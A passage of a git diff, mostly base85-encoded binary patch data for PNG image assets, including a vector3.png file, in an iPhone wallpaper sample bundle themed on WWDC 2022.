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 aKWDe`qut_DFX0^;AAjKfe(nPK#{UL@povrf literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png new file mode 100644 index 0000000000000000000000000000000000000000..d189753c560c274d3451d46e5d0d4bb6b3422f1d GIT binary patch literal 46879 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͕$gS$S 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 